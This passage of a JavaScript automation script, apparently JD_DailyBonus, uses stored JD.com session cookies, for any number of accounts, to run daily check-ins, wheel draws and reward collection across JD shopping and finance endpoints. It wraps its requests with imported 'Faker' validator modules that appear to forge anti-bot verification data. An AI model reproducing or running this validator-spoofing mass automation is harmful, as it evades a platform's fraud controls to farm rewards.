+如需获取京东金融签到Body, 可进入"京东金融"APP (iOS), 在"首页"点击"签到"并签到一次, 返回抓包app搜索关键字 h5/m/appSign 复制请求体填入json串数据内即可 +*/ + +var Key = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var DualKey = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var OtherKey = ``; //无限账号Cookie json串数据, 请严格按照json格式填写, 具体格式请看以下样例: + + +var LogDetails = false; //是否开启响应日志, true则开启 + +var stop = '0'; //自定义延迟签到, 单位毫秒. 默认分批并发无延迟; 该参数接受随机或指定延迟(例: '2000'则表示延迟2秒; '2000-5000'则表示延迟最小2秒,最大5秒内的随机延迟), 如填入延迟则切换顺序签到(耗时较长), Surge用户请注意在SurgeUI界面调整脚本超时; 注: 该参数Node.js或JSbox环境下已配置数据持久化, 留空(var stop = '')即可清除. + +var DeleteCookie = false; //是否清除所有Cookie, true则开启. + +var boxdis = true; //是否开启自动禁用, false则关闭. 脚本运行崩溃时(如VPN断连), 下次运行时将自动禁用相关崩溃接口(仅部分接口启用), 崩溃时可能会误禁用正常接口. (该选项仅适用于QX,Surge,Loon) + +var ReDis = false; //是否移除所有禁用列表, true则开启. 适用于触发自动禁用后, 需要再次启用接口的情况. (该选项仅适用于QX,Surge,Loon) + +var out = 0; //接口超时退出, 用于可能发生的网络不稳定, 0则关闭. 如QX日志出现大量"JS Context timeout"后脚本中断时, 建议填写6000 + +var $nobyda = nobyda(); + +var merge = {}; + +var KEY = ''; + +const Faker = require('./JDSignValidator') +const zooFaker = require('./JDJRValidator_Pure') +let fp = '', eid = '' + +$nobyda.get = zooFaker.injectToRequest2($nobyda.get.bind($nobyda), 'channelSign') +$nobyda.post = zooFaker.injectToRequest2($nobyda.post.bind($nobyda), 'channelSign') + +async function all(cookie, jrBody) { + KEY = cookie; + merge = {}; + $nobyda.num++; + switch (stop) { + case 0: + await Promise.all([ + JingDongBean(stop), //京东京豆 + JingDongStore(stop), //京东超市 + JingRongSteel(stop, jrBody), //金融钢镚 + JingDongTurn(stop), //京东转盘 + JDFlashSale(stop), //京东闪购 + JingDongCash(stop), //京东现金红包 + JDMagicCube(stop, 2), //京东小魔方 + JingDongSubsidy(stop), //京东金贴 + JingDongGetCash(stop), //京东领现金 + JingDongShake(stop), //京东摇一摇 + JDSecKilling(stop), //京东秒杀 + // JingRongDoll(stop, 'JRDoll', '京东金融-签壹', '4D25A6F482'), + // JingRongDoll(stop, 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'), + // JingRongDoll(stop, 'JRFourDoll', '京东金融-签肆', '30C4F86264'), + // JingRongDoll(stop, 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F') + ]); + await Promise.all([ + JDUserSignPre(stop, 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'), //京东内衣馆 + JDUserSignPre(stop, 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'), //京东卡包 + // JDUserSignPre(stop, 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'), //京东定制 + JDUserSignPre(stop, 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'), //京东陪伴 + JDUserSignPre(stop, 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'), //京东鞋靴 + JDUserSignPre(stop, 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'), //京东童装馆 + JDUserSignPre(stop, 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'), //京东母婴馆 + JDUserSignPre(stop, 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'), //京东数码电器馆 + JDUserSignPre(stop, 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'), //京东女装馆 + JDUserSignPre(stop, 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'), //京东图书 + // JDUserSignPre(stop, 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'), //京东-领京豆 + JingRongDoll(stop, 'JTDouble', '京东金贴-双签', '1DF13833F7'), //京东金融 金贴双签 + // JingRongDoll(stop, 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin') //京东金融 现金双签 + ]); + await Promise.all([ + JDUserSignPre(stop, 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'), //京东电竞 + // JDUserSignPre(stop, 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'), //京东服饰 + JDUserSignPre(stop, 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'), //京东箱包馆 + JDUserSignPre(stop, 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'), //京东校园 + JDUserSignPre(stop, 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'), //京东健康 + JDUserSignPre(stop, 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'), //京东拍拍二手 + JDUserSignPre(stop, 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'), //京东清洁馆 + JDUserSignPre(stop, 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'), //京东个人护理馆 + JDUserSignPre(stop, 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'), // 京东小家电 + // JDUserSignPre(stop, 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'), //京东珠宝馆 + // JDUserSignPre(stop, 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'), //京东美妆馆 + JDUserSignPre(stop, 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'), //京东菜场 + // JDUserSignPre(stop, 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ') //京东智能生活 + JDUserSignPre(stop, 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj') //京东超市 + ]); + await JingRongDoll(stop, 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + default: + await JingDongBean(0); //京东京豆 + await JingDongStore(Wait(stop)); //京东超市 + await JingRongSteel(Wait(stop), jrBody); //金融钢镚 + await JingDongTurn(Wait(stop)); //京东转盘 + await JDFlashSale(Wait(stop)); //京东闪购 + await JingDongCash(Wait(stop)); //京东现金红包 + await JDMagicCube(Wait(stop), 2); //京东小魔方 + await JingDongGetCash(Wait(stop)); //京东领现金 + await JingDongSubsidy(Wait(stop)); //京东金贴 + await JingDongShake(Wait(stop)); //京东摇一摇 + await JDSecKilling(Wait(stop)); //京东秒杀 + // await JingRongDoll(Wait(stop), 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'); + // await JingRongDoll(Wait(stop), 'JRFourDoll', '京东金融-签肆', '30C4F86264'); + // await JingRongDoll(Wait(stop), 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F'); + // await JingRongDoll(Wait(stop), 'JRDoll', '京东金融-签壹', '4D25A6F482'); + // await JingRongDoll(Wait(stop), 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin'); //京东金融 现金双签 + await JingRongDoll(Wait(stop), 'JTDouble', '京东金贴-双签', '1DF13833F7'); //京东金融 金贴双签 + await JDUserSignPre(Wait(stop), 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'); //京东卡包 + await JDUserSignPre(Wait(stop), 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'); //京东内衣馆 + await JDUserSignPre(Wait(stop), 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'); //京东电竞 + // await JDUserSignPre(Wait(stop), 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'); //京东定制 + await JDUserSignPre(Wait(stop), 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'); //京东箱包馆 + // await JDUserSignPre(Wait(stop), 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'); //京东服饰 + await JDUserSignPre(Wait(stop), 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'); //京东校园 + await JDUserSignPre(Wait(stop), 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'); //京东健康 + await JDUserSignPre(Wait(stop), 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'); //京东鞋靴 + await JDUserSignPre(Wait(stop), 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'); //京东童装馆 + await JDUserSignPre(Wait(stop), 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'); //京东母婴馆 + await JDUserSignPre(Wait(stop), 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'); //京东数码电器馆 + await JDUserSignPre(Wait(stop), 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'); //京东女装馆 + await JDUserSignPre(Wait(stop), 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'); //京东图书 + await JDUserSignPre(Wait(stop), 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'); //京东拍拍二手 + // await JDUserSignPre(Wait(stop), 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'); //京东美妆馆 + await JDUserSignPre(Wait(stop), 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'); //京东菜场 + await JDUserSignPre(Wait(stop), 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj'); //京东超市 + await JDUserSignPre(Wait(stop), 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'); //京东陪伴 + // await JDUserSignPre(Wait(stop), 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ'); //京东智能生活 + await JDUserSignPre(Wait(stop), 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'); //京东清洁馆 + await JDUserSignPre(Wait(stop), 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'); //京东个人护理馆 + await JDUserSignPre(Wait(stop), 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'); // 京东小家电馆 + // await JDUserSignPre(Wait(stop), 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'); //京东-领京豆 + // await JDUserSignPre(Wait(stop), 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'); //京东珠宝馆 + await JingRongDoll(Wait(stop), 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + } + await Promise.all([ + TotalSteel(), //总钢镚查询 + TotalCash(), //总红包查询 + TotalBean(), //总京豆查询 + TotalSubsidy(), //总金贴查询 + TotalMoney() //总现金查询 + ]); + await notify(); //通知模块 +} + +function notify() { + return new Promise(resolve => { + try { + var bean = 0; + var steel = 0; + var cash = 0; + var money = 0; + var subsidy = 0; + var success = 0; + var fail = 0; + var err = 0; + var notify = ''; + for (var i in merge) { + bean += merge[i].bean ? Number(merge[i].bean) : 0 + steel += merge[i].steel ? Number(merge[i].steel) : 0 + cash += merge[i].Cash ? Number(merge[i].Cash) : 0 + money += merge[i].Money ? Number(merge[i].Money) : 0 + subsidy += merge[i].subsidy ? Number(merge[i].subsidy) : 0 + success += merge[i].success ? Number(merge[i].success) : 0 + fail += merge[i].fail ? Number(merge[i].fail) : 0 + err += merge[i].error ? Number(merge[i].error) : 0 + notify += merge[i].notify ? "\n" + merge[i].notify : "" + } + var Cash = merge.TotalCash && merge.TotalCash.TCash ? `${merge.TotalCash.TCash}红包` : "" + var Steel = merge.TotalSteel && merge.TotalSteel.TSteel ? `${merge.TotalSteel.TSteel}钢镚` : `` + var beans = merge.TotalBean && merge.TotalBean.Qbear ? `${merge.TotalBean.Qbear}京豆${Steel?`, `:``}` : "" + var Money = merge.TotalMoney && merge.TotalMoney.TMoney ? `${merge.TotalMoney.TMoney}现金${Cash?`, `:``}` : "" + var Subsidy = merge.TotalSubsidy && merge.TotalSubsidy.TSubsidy ? `${merge.TotalSubsidy.TSubsidy}金贴${Money||Cash?", ":""}` : "" + var Tbean = bean ? `${bean.toFixed(0)}京豆${steel?", ":""}` : "" + var TSteel = steel ? `${steel.toFixed(2)}钢镚` : "" + var TCash = cash ? `${cash.toFixed(2)}红包${subsidy||money?", ":""}` : "" + var TSubsidy = subsidy ? `${subsidy.toFixed(2)}金贴${money?", ":""}` : "" + var TMoney = money ? `${money.toFixed(2)}现金` : "" + var Ts = success ? `成功${success}个${fail||err?`, `:``}` : `` + var Tf = fail ? `失败${fail}个${err?`, `:``}` : `` + var Te = err ? `错误${err}个` : `` + var one = `【签到概览】: ${Ts+Tf+Te}${Ts||Tf||Te?`\n`:`获取失败\n`}` + var two = Tbean || TSteel ? `【签到奖励】: ${Tbean+TSteel}\n` : `` + var three = TCash || TSubsidy || TMoney ? `【其他奖励】: ${TCash+TSubsidy+TMoney}\n` : `` + var four = `【账号总计】: ${beans+Steel}${beans||Steel?`\n`:`获取失败\n`}` + var five = `【其他总计】: ${Subsidy+Money+Cash}${Subsidy||Money||Cash?`\n`:`获取失败\n`}` + var DName = merge.TotalBean && merge.TotalBean.nickname ? merge.TotalBean.nickname : "获取失败" + var cnNum = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十"]; + const Name = DualKey || OtherKey.length > 1 ? `【签到号${cnNum[$nobyda.num]||$nobyda.num}】: ${DName}\n` : `` + const disables = $nobyda.read("JD_DailyBonusDisables") + const amount = disables ? disables.split(",").length : 0 + const disa = !notify || amount ? `【温馨提示】: 检测到${$nobyda.disable?`上次执行意外崩溃, `:``}已禁用${notify?`${amount}个`:`所有`}接口, 如需开启请前往BoxJs或查看脚本内第114行注释.\n` : `` + $nobyda.notify("", "", Name + one + two + three + four + five + disa + notify, { + 'media-url': $nobyda.headUrl || 'https://cdn.jsdelivr.net/gh/NobyDa/mini@master/Color/jd.png' + }); + $nobyda.headUrl = null; + if ($nobyda.isJSBox) { + $nobyda.st = (typeof($nobyda.st) == 'undefined' ? '' : $nobyda.st) + Name + one + two + three + four + five + "\n" + } + } catch (eor) { + $nobyda.notify("通知模块 " + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve() + } + }); +} + +(async function ReadCookie() { + const EnvInfo = $nobyda.isJSBox ? "JD_Cookie" : "CookieJD"; + const EnvInfo2 = $nobyda.isJSBox ? "JD_Cookie2" : "CookieJD2"; + const EnvInfo3 = $nobyda.isJSBox ? "JD_Cookies" : "CookiesJD"; + const move = CookieMove($nobyda.read(EnvInfo) || Key, $nobyda.read(EnvInfo2) || DualKey, EnvInfo, EnvInfo2, EnvInfo3); + const cookieSet = $nobyda.read(EnvInfo3); + if (DeleteCookie) { + const write = $nobyda.write("", EnvInfo3); + throw new Error(`Cookie清除${write?`成功`:`失败`}, 请手动关闭脚本内"DeleteCookie"选项`); + } else if ($nobyda.isRequest) { + GetCookie() + } else if (Key || DualKey || (OtherKey || cookieSet || '[]') != '[]') { + if (($nobyda.isJSBox || $nobyda.isNode) && stop !== '0') $nobyda.write(stop, "JD_DailyBonusDelay"); + out = parseInt($nobyda.read("JD_DailyBonusTimeOut")) || out; + stop = Wait($nobyda.read("JD_DailyBonusDelay"), true) || Wait(stop, true); + boxdis = $nobyda.read("JD_Crash_disable") === "false" || $nobyda.isNode || $nobyda.isJSBox ? false : boxdis; + LogDetails = $nobyda.read("JD_DailyBonusLog") === "true" || LogDetails; + ReDis = ReDis ? $nobyda.write("", "JD_DailyBonusDisables") : ""; + $nobyda.num = 0; + if (Key) await all(Key); + if (DualKey && DualKey !== Key) await all(DualKey); + if ((OtherKey || cookieSet || '[]') != '[]') { + try { + OtherKey = checkFormat([...JSON.parse(OtherKey || '[]'), ...JSON.parse(cookieSet || '[]')]); + const updateSet = OtherKey.length ? $nobyda.write(JSON.stringify(OtherKey, null, 2), EnvInfo3) : ''; + for (let i = 0; i < OtherKey.length; i++) { + const ck = OtherKey[i].cookie; + const jr = OtherKey[i].jrBody; + if (ck != Key && ck != DualKey) { + await all(ck, jr) + } + } + } catch (e) { + throw new Error(`账号Cookie读取失败, 请检查Json格式. \n${e.message}`) + } + } + $nobyda.time(); + } else { + throw new Error('脚本终止, 未获取Cookie ‼️') + } +})().catch(e => { + $nobyda.notify("京东签到", "", e.message || JSON.stringify(e)) +}).finally(() => { + if ($nobyda.isJSBox) $intents.finish($nobyda.st); + $nobyda.done(); +}) + +function JingDongBean(s) { + merge.JDBean = {}; + return new Promise(resolve => { + if (disable("JDBean")) return resolve() + setTimeout(() => { + const JDBUrl = { + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY + }, + body: 'functionId=signBeanIndex&appid=ld' + }; + $nobyda.post(JDBUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 3) { + console.log("\n" + "京东商城-京豆Cookie失效 " + Details) + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: Cookie失效‼️" + merge.JDBean.fail = 1 + } else if (data.match(/跳转至拼图/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 需要拼图验证 ⚠️" + merge.JDBean.fail = 1 + } else if (data.match(/\"status\":\"?1\"?/)) { + console.log("\n" + "京东商城-京豆签到成功 " + Details) + if (data.match(/dailyAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.dailyAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.dailyAward.beanAward.beanCount + } else if (data.match(/continuityAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.continuityAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.continuityAward.beanAward.beanCount + } else if (data.match(/新人签到/)) { + const quantity = data.match(/beanCount\":\"(\d+)\".+今天/) + merge.JDBean.bean = quantity ? quantity[1] : 0 + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + (quantity ? quantity[1] : "无") + "京豆 🐶" + } else { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: 无京豆 🐶" + } + merge.JDBean.success = 1 + } else { + merge.JDBean.fail = 1 + console.log("\n" + "京东商城-京豆签到失败 " + Details) + if (data.match(/(已签到|新人签到)/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/人数较多|S101/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 签到人数较多 ⚠️" + } else { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-京豆", "JDBean", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongTurn(s) { + merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; + return new Promise((resolve, reject) => { + if (disable("JDTurn")) return reject() + const JDTUrl = { + url: 'https://api.m.jd.com/client.action?functionId=wheelSurfIndex&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%7D&appid=ld', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data).data.lotteryCode + const Details = LogDetails ? "response:\n" + data : ''; + if (cc) { + console.log("\n" + "京东商城-转盘查询成功 " + Details) + return resolve(cc) + } else { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 查询错误 ⚠️" + merge.JDTurn.fail = 1 + console.log("\n" + "京东商城-转盘查询失败 " + Details) + } + } + } catch (eor) { + $nobyda.AnError("京东转盘-查询", "JDTurn", eor, response, data) + } finally { + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JingDongTurnSign(s, data); + }, () => {}); +} + +function JingDongTurnSign(s, code) { + return new Promise(resolve => { + setTimeout(() => { + const JDTUrl = { + url: `https://api.m.jd.com/client.action?functionId=lotteryDraw&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%2C%22lotteryCode%22%3A%22${code}%22%7D&appid=ld`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + const also = merge.JDTurn.notify ? true : false + if (cc.code == 3) { + console.log("\n" + "京东转盘Cookie失效 " + Details) + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: Cookie失效‼️" + merge.JDTurn.fail = 1 + } else if (data.match(/(\"T216\"|活动结束)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 活动结束 ⚠️" + merge.JDTurn.fail = 1 + } else if (data.match(/(京豆|\"910582\")/)) { + console.log("\n" + "京东商城-转盘签到成功 " + Details) + merge.JDTurn.bean += Number(cc.data.prizeSendNumber) || 0 + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 明细: ${cc.data.prizeSendNumber||`无`}京豆 🐶` + merge.JDTurn.success += 1 + if (cc.data.chances != "0") { + await JingDongTurnSign(2000, code) + } + } else if (data.match(/未中奖/)) { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 状态: 未中奖 🐶` + merge.JDTurn.success += 1 + if (cc.data.chances != "0") { + await JingDongTurnSign(2000, code) + } + } else { + console.log("\n" + "京东商城-转盘签到失败 " + Details) + merge.JDTurn.fail = 1 + if (data.match(/(T215|次数为0)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 已转过 ⚠️" + } else if (data.match(/(T210|密码)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 无支付密码 ⚠️" + } else { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-转盘", "JDTurn", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongSteel(s, body) { + merge.JRSteel = {}; + return new Promise(resolve => { + if (disable("JRSteel")) return resolve(); + if (!body) { + merge.JRSteel.fail = 1; + merge.JRSteel.notify = "京东金融-钢镚: 失败, 未获取签到Body ⚠️"; + return resolve(); + } + setTimeout(() => { + const JRSUrl = { + url: 'https://ms.jr.jd.com/gw/generic/hy/h5/m/appSign', + headers: { + Cookie: KEY + }, + body: body || '' + }; + $nobyda.post(JRSUrl, function(error, response, data) { + try { + if (error) throw new Error(error) + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 0) { + console.log("\n" + "京东金融-钢镚签到成功 " + Details) + merge.JRSteel.notify = `京东金融-钢镚: 成功, 获得钢镚奖励 💰` + merge.JRSteel.success = 1 + } else { + console.log("\n" + "京东金融-钢镚签到失败 " + Details) + merge.JRSteel.fail = 1 + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 15) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/未实名/)) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 账号未实名 ⚠️" + } else if (cc.resultCode == 3) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: Cookie失效‼️" + } else { + const ng = (cc.resultData && cc.resultData.resBusiMsg) || cc.resultMsg + merge.JRSteel.notify = `京东金融-钢镚: 失败, ${`原因: ${ng||`未知`}`} ⚠️` + } + } + } catch (eor) { + $nobyda.AnError("京东金融-钢镚", "JRSteel", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongShake(s) { + if (!merge.JDShake) merge.JDShake = {}, merge.JDShake.success = 0, merge.JDShake.bean = 0, merge.JDShake.notify = ''; + return new Promise(resolve => { + if (disable("JDShake")) return resolve() + setTimeout(() => { + const JDSh = { + url: 'https://api.m.jd.com/client.action?appid=vip_h5&functionId=vvipclub_shaking', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDSh, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + const also = merge.JDShake.notify ? true : false + if (data.match(/prize/)) { + console.log("\n" + "京东商城-摇一摇签到成功 " + Details) + merge.JDShake.success += 1 + if (cc.data.prizeBean) { + merge.JDShake.bean += cc.data.prizeBean.count || 0 + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次`:`成功`}, 明细: ${merge.JDShake.bean || `无`}京豆 🐶` + } else if (cc.data.prizeCoupon) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次, `:``}获得满${cc.data.prizeCoupon.quota}减${cc.data.prizeCoupon.discount}优惠券→ ${cc.data.prizeCoupon.limitStr}` + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 未知 ⚠️${also?` (多次)`:``}` + } + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + console.log("\n" + "京东商城-摇一摇签到失败 " + Details) + if (data.match(/true/)) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 无奖励 🐶${also?` (多次)`:``}` + merge.JDShake.success += 1 + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + merge.JDShake.fail = 1 + if (data.match(/(无免费|8000005|9000005)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: 已摇过 ⚠️" + } else if (data.match(/(未登录|101)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: Cookie失效‼️" + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-摇摇", "JDShake", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDUserSignPre(s, key, title, ac) { + merge[key] = {}; + if ($nobyda.isJSBox) { + return JDUserSignPre2(s, key, title, ac); + } else { + return JDUserSignPre1(s, key, title, ac); + } +} + +function JDUserSignPre1(s, key, title, acData, ask) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: 'https://api.m.jd.com/?client=wh5&functionId=qryH5BabelFloors', + headers: { + Cookie: KEY + }, + opts: { + 'filter': 'try{var od=JSON.parse(body);var params=(od.floatLayerList||[]).filter(o=>o.params&&o.params.match(/enActK/)).map(o=>o.params).pop()||(od.floorList||[]).filter(o=>o.template=="signIn"&&o.signInfos&&o.signInfos.params&&o.signInfos.params.match(/enActK/)).map(o=>o.signInfos&&o.signInfos.params).pop();var tId=(od.floorList||[]).filter(o=>o.boardParams&&o.boardParams.turnTableId).map(o=>o.boardParams.turnTableId).pop();var page=od.paginationFlrs;return JSON.stringify({qxAct:params||null,qxTid:tId||null,qxPage:page||null})}catch(e){return `=> 过滤器发生错误: ${e.message}`}' + }, + body: `body=${encodeURIComponent(`{"activityId":"${acData}"${ask?`,"paginationParam":"2","paginationFlrs":"${ask}"`:``}}`)}` + }; + $nobyda.post(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const od = JSON.parse(data || '{}'); + const turnTableId = od.qxTid || (od.floorList || []).filter(o => o.boardParams && o.boardParams.turnTableId).map(o => o.boardParams.turnTableId).pop(); + const page = od.qxPage || od.paginationFlrs; + if (data.match(/enActK/)) { // 含有签到活动数据 + let params = od.qxAct || (od.floatLayerList || []).filter(o => o.params && o.params.match(/enActK/)).map(o => o.params).pop() + if (!params) { // 第一处找到签到所需数据 + // floatLayerList未找到签到所需数据,从floorList中查找 + let signInfo = (od.floorList || []).filter(o => o.template == 'signIn' && o.signInfos && o.signInfos.params && o.signInfos.params.match(/enActK/)) + .map(o => o.signInfos).pop(); + if (signInfo) { + if (signInfo.signStat == '1') { + console.log(`\n${title}重复签到`) + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + merge[key].fail = 1 + } else { + params = signInfo.params; + } + } else { + merge[key].notify = `${title}: 失败, 活动查找异常 ⚠️` + merge[key].fail = 1 + } + } + if (params) { + return resolve({ + params: params + }); // 执行签到处理 + } + } else if (turnTableId) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return 